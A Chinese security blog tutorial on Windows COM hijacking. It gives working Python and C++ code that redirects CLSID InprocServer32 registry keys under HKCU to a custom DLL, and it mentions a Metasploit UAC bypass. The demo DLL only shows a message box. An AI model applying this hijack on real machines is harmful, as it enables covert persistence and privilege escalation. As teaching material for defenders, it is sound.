<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    COM劫持實戰演示

    VSole2021-10-19 09:40:38

    何為comCOM是Component Object Model (組件對象模型)的縮寫。

    COM是微軟公司為了計算機工業的軟件生產更加符合人類的行為方式開發的一種新的軟件開發技術。在COM構架下,人們可以開發出各種各樣的功能專一的組件,然后將它們按照需要組合起來,構成復雜的應用系統。

    COM是開發軟件組件的一種方法。組件實際上是一些小的二進制可執行程序,它們可以給應用程序,操作系統以及其他組件提供服務。開發自定義的COM組件就如同開發動態的,面向對象的API。多個COM對象可以連接起來形成應用程序或組件系統。并且組件可以在運行時刻,在不被重新鏈接或編譯應用程序的情況下被卸下或替換掉。Microsoft的許多技術,如ActiveX, DirectX以及OLE等都是基于COM而建立起來的。并且Microsoft的開發人員也大量使用COM組件來定制他們的應用程序及操作系統。

    這里有一個問題,為什么要用com組件呢?

    com組件主要是解決了代碼共用以及版本問題、能夠調用其他軟件的功能、所有代碼都能夠面向對象

    com與注冊表的關系注冊表大家都應該比較熟悉,他主要具有一些特殊的數據類型來存儲一些數據滿足應用程序的需要,主要有以下幾個

    HKEY_CLASSES_ROOT 用于存儲一些文檔類型、類、類的關聯屬性
    HKEY_CURRENT_CONFIG 用戶存儲有關本地計算機系統的當前硬件配置文件信息
    HKEY_CURRENT_USER 用于存儲當前用戶配置項
    HKEY_CURRENT_USER_LOCAL_SETTINGS 用于存儲當前用戶對計算機的配置項
    HKEY_LOCAL_MACHINE 用于存儲當前用戶物理狀態
    HKEY_USERS 用于存儲新用戶的默認配置項

    CLSID

    class identifier(類標識符)也稱為CLASSID或CLSID,是與某一個類對象相聯系的唯一標記(UUID)。一個準備創建多個對象的類對象應將其CLSID注冊到系統注冊數據庫的任務表中,以使客戶能夠定位并裝載與該對象有關的可執行代碼。

    當初微軟設計com規范的時候,有兩種選擇來保證用戶的設計的com組件可以全球唯一:

    第一種是采用和Internet地址一樣的管理方式,成立一個管理機構,用戶如果想開發一個COM組件的時候需要向該機構提出申請,并交一定的費用。

    第二種是發明一種算法,每次都能產生一個全球唯一的COM組件標識符。

    第一種方法,用戶使用起來太不方便,微軟采用第二種方法,并發明了一種算法,這種算法用GUID(Globally Unique Identifiers)來標識COM組件,GUID是一個128位長的數字,一般用16進制表示。算法的核心思想是結合機器的網卡、當地時間、一個隨即數來生成GUID。從理論上講,如果一臺機器每秒產生10000000個GUID,則可以保證(概率意義上)3240年不重復。

    也就是說CLSID就是對象的身份證號,而當一個應用程序想要調用某個對象時,也是通過CLSID來尋找對象的。比如我的電腦的CLSID就為{20D04FE0-3AEA-1069-A2D8-08002B30309D},控制面板的CLSID就為{21EC2020-3AEA-1069-A2DD-08002B30309D}

    CLSID的路徑位于HKEY_CLASSES_ROOT\CLSID

    CLSID其實是一個結構體,結構如下

    typedef struct _GUID {
        DWORD Data1; // 隨機數 
        WORD Data2; // 和時間相關
        WORD Data3; // 和時間相關
        BYTE Data4[8]; // 和網卡MAC相關
        } GUID;
        typedef GUID CLSID;  // 組件ID
        typedef GUID IID;    // 接口ID
    

    com劫持前面說了這么多的基礎知識來到今天的正文,首先要了解com組件的加載過程,com組件會根據以下路徑去尋找

    HKCU\Software\Classes\CLSID
    HKCR\CLSID
    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\shellCompatibility\Objects\

    那么我們如果想要進行com劫持,肯定挑選的是首先尋找的路徑,即HKCU\Software\Classes\CLSID ,我們可以直接在CLSID下新建一個對象ID,與dll劫持不同的是,dll劫持只能劫持dll,局限性比較大,但是com組件能夠劫持如.com文件、pe文件、api文件等等

    COM對象是注冊表中對磁盤上沒有實現文件的對象的引用。例如,在注冊表項HKCU \ CLSID \ {xxxx} \ InprocServer32 \ Default下,其中{xxxx}是COM對象的相應GUID,您應該找到對文件yyy.dll的引用。如果磁盤上不存在此文件或缺少“(默認)”條目,則請求訪問此對象的進程將失敗。

    那么這可以衍生出兩種思路,第一種思路就是尋找被“遺棄“的com鍵進行劫持,那么何為被"遺棄"的com鍵呢?

    在一些程序卸載后,注冊表內的com鍵會被遺留下來,即處于為注冊的狀態,這個com鍵會指向一個路徑里面的dll,但是因為這個程序已經被卸載了,所以肯定是找不到這個dll的,那么這里我們就可以修改這個com鍵指向的路徑來完成我們自己dll的加載0

    第二種思路就是覆蓋COM對象,在HKCU注冊表中添加正確的鍵值后,當引用目標COM對象時,HKLM中的鍵值就會被覆蓋(并且“添加”到HKCR中)。

    實現com劫持之前在實戰的過程中在msf上拿到了user權限的shell,但是直接getsystem不能夠提到系統權限,用到了bypassuac之后得到了系統權限的dll,那么這里首先看一下msf是怎么實現com劫持bypassuac的

    首先拿到一個shell直接getsystem提權失敗

    然后使用com組件bypassuac

    首先我把uac調到最高

    發現這里報錯,因為UAC is set to Always Notify,也就是說最高級的uac好像繞不過

    然后我把uac調整到默認級別

    發現msf劫持的是HKCU\Software\classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931},dll的位置在C:\Users\messi \AppData\Local\Temp\LlvIwfwd.dll

    那么思路就清晰了,我們就需要修改注冊表,然后讓注冊表的路徑指向我們存放dll的路徑即可

    利用缺失的CLSID這里我選擇的是對計算器進行com劫持,首先找一下缺少的CLSID并在InprocServer32

    找到了幾個能夠劫持的com組件

    保存并導出為Logfile.CSV

    然后寫一個py腳本,批量循環添加注冊表指向dll路徑并生成一個com_hijack.bat

    reg add [PATH] /ve /t REG_SZ /d C:\\Users\\Administrator\\testdll.dll /f
    

    完整代碼如下

    import csv
    class Inject(object):
        def __init__(self):
            self.path='Logfile.CSV'
        def add(self):
            with open(self.path,'r',encoding='utf-8') as r:
                g=csv.DictReader(r)
                for name in g:
                    z=[x for x in name]
                    for i in z:
                        if 'HK' in str(name[i]):
                            print('reg add {} /ve /t REG_SZ /d C:\\Users\\Administrator\\Desktop\\testdll.dll /f'.format(name[i]),file=open('com_hijack.bat','a',encoding='utf-8'))
    if __name__ == '__main__':
        obj=Inject()
        obj.add()
        print('[!] Administrator run com_hijack.bat')
    

    執行py

    即在目錄下生成一個com_hijack.bat,使用管理員權限運行

    設置過濾條件發現已經成功劫持

    覆蓋存在的CLSID這里覆蓋存在的CLSID就需要盡可能挑選應用范圍廣的,這里選擇計算器進行劫持,對應的CLSID為{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7},這個CLSID可以實現對CAccPropServicesClassMMDeviceEnumerator實例的劫持

    進行注冊表的創建用到的api為RegCreateKeyExA,結構如下

    LONG RegCreateKeyEx(
      HKEY hKey,                                  // handle to open key
      LPCTSTR lpSubKey,                           // subkey name
      DWORD Reserved,                             // reserved
      LPTSTR lpClass,                             // class string
      DWORD dwOptions,                            // special options
      REGSAM samDesired,                          // desired security access
      LPSECURITY_ATTRIBUTES lpSecurityAttributes, // inheritance
      PHKEY phkResult,                            // key handle 
      LPDWORD lpdwDisposition                     // disposition value buffer
    );
    
    hkey:注冊表的句柄
    lpSubKey:此函數打開或創建的子項的名稱,不能為NULL
    Reserved:保留參數,必須為0
    lpClass:該鍵的用戶定義類類型。可以忽略此參數。此參數可以為NULL
    dwOptions:有幾個參數,這里就不寫了
    samDesired:指定要創建的密鑰的訪問權限的掩碼
    lpSecurityAttributes:指向SECURITY_ATTRIBUTES結構的指針
    phkResult:指向接收打開或創建的鍵的句柄的變量的指針
    lpdwDisposition:指向接收處置值之一的變量的指針
    函數執行成功則返回ERROR_SUCCESS,函數執行失敗則為非零錯誤代碼

    修改注冊表的屬性用到的api為RegSetValueExA

    LSTATUS RegSetValueExW(
      HKEY       hKey,
      LPCWSTR    lpValueName,
      DWORD      Reserved,
      DWORD      dwType,
      const BYTE *lpData,
      DWORD      cbData
    );
    
    hkey:注冊表的句柄
    lpValueName:要設置的值的名稱
    Reserved:保留值,必須為0
    dwType:lpData參數指向的數據類型
    lpData:要存儲的數據
    cbData:lpData參數指向的信息的大小,以字節為單位
    函數執行成功則返回 ERROR_SUCCESS,函數執行失敗則返回非零錯誤代碼

    那么首先使用RegCreateKeyExA創建注冊表

    RegCreateKeyExA(HKEY_CURRENT_USER,
                "Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",
                0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
    

    再用RegCreateKeyExA設置DLL文件的屬性

    RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1)))
    

    然后再設置InprocServer32下的ThreadingModel屬性,這里我們隨便打開一個CLSID里面的InprocServer32文件夾,發現都是由一個dll文件的路徑 + 一個ThreadingModel組成的,這個ThreadingModel鍵值是用來標記dll的線程模型,它代表容納此COM 類的載體應當是一個動態鏈接庫,對應的值就為Apartment

    那我們定義一個數組,再修改ThreadingModel的值即可完成InprocServer32屬性的修改

    char system2[] = "Apartment";
    RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 + ::lstrlenA(system2)))
    

    對應的,我們進行com劫持完成之后,也需要寫一個卸載的代碼,這里就不細說了直接貼上來,跟前面的思路差不多,使用到RegDeleteValueA刪除注冊表屬性即可,代碼如下

    RegCreateKeyExA(HKEY_CURRENT_USER,
            "Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",
            0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition)
        
    RegDeleteValueA(hKey, NULL)
        
    RegDeleteValueA(hKey, "ThreadingModel")
    

    完整代碼如下

    // COMInject.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。
    //
    #include <iostream>
    #include <Windows.h> 
    #include <string>
    using namespace std;
    BOOL COMInject()
    {
        HKEY hKey;
        DWORD dwDisposition;
        char system1[] = "C:\\Users\\administrator\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\comInject.dll";
        char system2[] = "Apartment";
        string defaultPath = "C:\\Users\\administrator\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}";
        string szSaveName = "C:\\Users\\administrator\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\comInject.dll";
        {
            if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
                "Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",
                0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
            {
                printf("創建注冊表失敗!");
                return 0;
            }
            if (ERROR_SUCCESS != RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1))))
            {
                printf("設置DLL文件失敗!");
                return 0;
            }
            if (ERROR_SUCCESS != RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 + ::lstrlenA(system2))))
            {
                printf("設置ThreadingModel失敗!");
                return 0;
            }
        ::MessageBoxA(NULL, "comInject OK", "", MB_OK);
        }
    }
    BOOL UnCOMInject()
    {
        HKEY hKey;
        DWORD dwDisposition;
        string defaultPath = "C:\\Users\\administrator\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}";
        string szSaveName = "C:\\Users\\messi\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\comInject.dll";
        if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
            "Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",
            0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
        {
            printf("創建注冊表失敗!");
            return 0;
        }
        if (ERROR_SUCCESS != RegDeleteValueA(hKey, NULL))
        {
            printf("移除DLL文件失敗!");
            return 0;
        }
        if (ERROR_SUCCESS != RegDeleteValueA(hKey, "ThreadingModel"))
        {
            printf("移除ThreadingModel失敗!");
            return 0;
        }
        remove(szSaveName.c_str());
        remove(defaultPath.c_str());
        ::MessageBoxA(NULL, "Delete comInject OK", "", MB_OK);
    }
    int main(int argc, char* argv[])
    {
        COMInject();
        
        //UnCOMInject();
        
        return 0;
    }
    

    這里就生成一個最簡單的彈窗吧,dll代碼如下:

    // dllmain.cpp : 定義 DLL 應用程序的入口點。
    # include "pch.h"
    # include <stdlib.h>
    BOOL APIENTRY DllMain(HMODULE hModule,
        DWORD  ul_reason_for_call,
        LPVOID lpReserved
    )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
            MessageBoxA(0, "comInject OK", "", 0);
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    首先以管理員權限執行COMInject.exe

    然后進入C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer路徑發現創建了{BCDE0395-E52F-467C-8E3D-C4579291692E}這個文件夾

    再進入文件夾發現有comInject.dll

    再去注冊表里面看一下

    發現已經改成了dll存放的路徑

    打開計算器即可實現com劫持

    注冊表dll劫持
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    COM劫持實戰演示
    2021-10-19 09:40:38
    com劫持前面說了這么多的基礎知識來到今天的正文,首先要了解com組件的加載過程
    一個以前未曾報道過的網絡間諜框架,我們將其命名為Ramsay,他是專門用于收集和泄露敏感文檔,并且能夠在對氣隙網絡中運行。 我們最初在VirusTotal中找到了Ramsay的實例。該樣本是從日本上傳的,并導致我們發現了該...
    動態鏈接庫的方式以及Windows API指示使用它們的方式都可以用作任意代碼執行的接口,并協助惡意行為者實現其目標。DLL主要用于在系統上的應用程序和進程之間共享此內容,以便在為Windows創建應用程序時為程序員提供高度的靈活性。這意味著,如果DLL包含任何異常,則不會為調用EXE提供任何保護。這些函數接收一個路徑參數,該參數導致所請求的DLL,并向調用過程返回模塊的句柄。
    紅隊人員拿到一臺主機權限后首先會考慮將該機器作為一個持久化的據點,種植一個具備持久化的后門,就需要用到權限維持
    DLL(Dynamic Link Library)文件為動態鏈接庫文件,又稱“應用程序拓展”,是軟件文件類型。在Windows中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件。
    DLL劫持思路和研究
    2021-10-25 10:13:22
    基礎知識DLL文件為動態鏈接庫文件,又稱“應用程序拓展”,是軟件文件類型。在Windows中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件。在這種利用場景下,偽造的DLL文件不需要存在任何導出函數即可被成功加載,即使加載后進程內部出錯,也是在DLL被成功加載之后的事情。
    C:\Users\dyy\AppData\Local\Programs\Python\Python38\Scripts\oci.dll使用 cs 生成惡意 dll,重命名為?后放置到該目錄下手動挖掘Process Monitor 查找可用 dll,設置如下圖所示配置完可以保存導出配置,下次直接導入使用使用?進行測試,運行程序 filter 加載所使用的 dll 文件這里可以看出來,當?文件編寫一個基礎的彈窗 dllJAVA1. // dllmain.cpp : 定義 DLL 應用程序的入口點。CS 上線cs 生成 c 的 payload生成的?填入到下面相應的位置上CPP1
    DLL劫持的防御策略
    一個應用程序運行時可能需要依賴于多個 dll 的函數才能完成功能,如果控制其中任一dll,那么便可以控制該應用程序的執行流程。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类